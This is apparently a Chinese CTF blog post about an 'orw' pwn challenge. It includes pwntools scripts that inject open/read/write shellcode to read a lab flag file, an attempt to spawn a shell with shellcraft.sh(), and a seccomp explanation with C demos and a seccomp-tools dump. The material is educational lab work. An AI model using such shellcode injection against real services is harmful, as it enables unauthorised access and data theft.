Linux下的一种限制系统调用的机制,刷题时偶然的一个发现
源自刷到的很简单的PWN题,反编译代码如下:
1 2 3 4 5 6 7 8 int __cdecl main(int argc, const char **argv, const char **envp) { orw_seccomp(); printf("Give my your shellcode:"); read(0, &shellcode, 0xC8u); ((void (*)(void))shellcode)(); return 0; }
一个很简单的题目,就是读取一段shellcode执行就行了。根据标题orw的提示,只需要写一段shellcode去open(打开)文件,read(读取)文件,然后write(写)出来就行了。我本来也是直接就这样做的,读取到了文件的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * context.log_level = "debug" p=process('./orw.bin') # push flag path payload=shellcraft.pushstr('/home/r0mm/LAB/lab2/flag.txt') # open flag file payload+=shellcraft.open("esp") # read flag file payload+=shellcraft.read("eax","esp",0x100) # write to stdout payload+=shellcraft.write(1,"esp",0x100) p.recv(1024) #gdb.attach(p) p.sendline(asm(payload)) p.recvall() p.close()
当时想了下,为啥不直接开一个shell呢,岂不是更好。于是改成了下面的脚本:
1 2 3 4 5 6 7 8 from pwn import * context.log_level = "debug" p=process('./orw.bin') payload = shellcraft.sh() p.recv(1024) #gdb.attach(p) p.sendline(asm(payload)) p.interactive()
很奇怪,这段获取shell的代码挂了,我调试到int 0x80也没发现有什么问题啊,这就迷了。回头看反编译的代码,里面藏了个seccomp函数,搜了一下,才发现了这题还藏着一个可以限制系统调用的seccomp安全机制,搞出类似sandbox的东西。
Seccomp seccomp的全称是securecomputing mode,是linuxkernel从2.6.23版本开始所支持的一种安全机制。由于大量的系统调用直接暴露给用户态程序危险太大( 比如pwn题的日常syscall ),而又不是所有的系统调用都需要,便可以通过seccomp限制程序使用某些系统调用。
使用seccomp 简单使用示例如下,传入’/bin/sh’,使用系统调用execve得到一个shell,不适用seccomp时:
1 2 3 4 5 6 7 8 9 #include <stdio.h> int main(void){ char * filename = "/bin/sh"; char * argv[] = {"/bin/sh",NULL}; char * envp[] = {NULL}; //调用execve syscall(59,filename,argv,envp); return 0; }
编译运行结果:
1 2 3 4 5 6 7 8 9 10 r0mmm@ubuntu:~/Desktop$ gcc -g simple_syscall.c -o simple_syscall simple_syscall.c: In function ‘main’: simple_syscall.c:7:5: warning: implicit declaration of function ‘syscall’ [-Wimplicit-function-declaration] syscall(59,filename,argv,envp); ^ r0mmm@ubuntu:~/Desktop$ ./simple_syscall $ whoami r0mmm $ exit r0mmm@ubuntu:~/Desktop$
使用seccomp禁用掉execve时(seccomp_init是初始化的过滤状态,SCMP_ACT_ALLOW,表示默认允许所有的syscacll,类似黑名单方式…SCMP_ACT_KILL,则表示默认不允许所有的syscall,类似白名单方式):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <stdio.h> #include <seccomp.h> int main(void){ //设置禁用execve scmp_filter_ctx ctx; //初始化为黑名单 ctx = seccomp_init(SCMP_ACT_ALLOW); //添加禁止规则 seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0); seccomp_load(ctx); char * filename = "/bin/sh"; char * argv[] = {"/bin/sh",NULL}; char * envp[] = {NULL}; //调用execve syscall(59,filename,argv,envp); return 0; }
编译运行结果:
1 2 3 4 5 6 7 8 r0mmm@ubuntu:~/Desktop$ gcc -g simple_syscall_seccomp.c -o simple_syscall_seccomp -lseccomp simple_syscall_seccomp.c: In function ‘main’: simple_syscall_seccomp.c:14:5: warning: implicit declaration of function ‘syscall’ [-Wimplicit-function-declaration] syscall(59,filename,argv,envp); ^ r0mmm@ubuntu:~/Desktop$ ./simple_syscall_seccomp Bad system call (core dumped) r0mmm@ubuntu:~/Desktop$
可以看到调用execve失败。
查看是否使用了Seccomp 手动的话,可以利用/proc/pid/status中的Seccomp字段查看,如果没有seccomp字段,说明内核不支持seccomp(linux kernel version >3.8)
工具的话有: https://github.com/david942j/seccomp-tools 使用,比如当前的pwn题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 r0mmm@ubuntu:~/Desktop/LAB/lab2$ seccomp-tools dump ./orw.bin line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011 0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011 0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011 0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011 0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011 0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011 0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011 0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38) 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW r0mmm@ubuntu:~/Desktop/LAB/lab2$
可以看到是一个白名单,列出了ALLOW的规则。
收工:)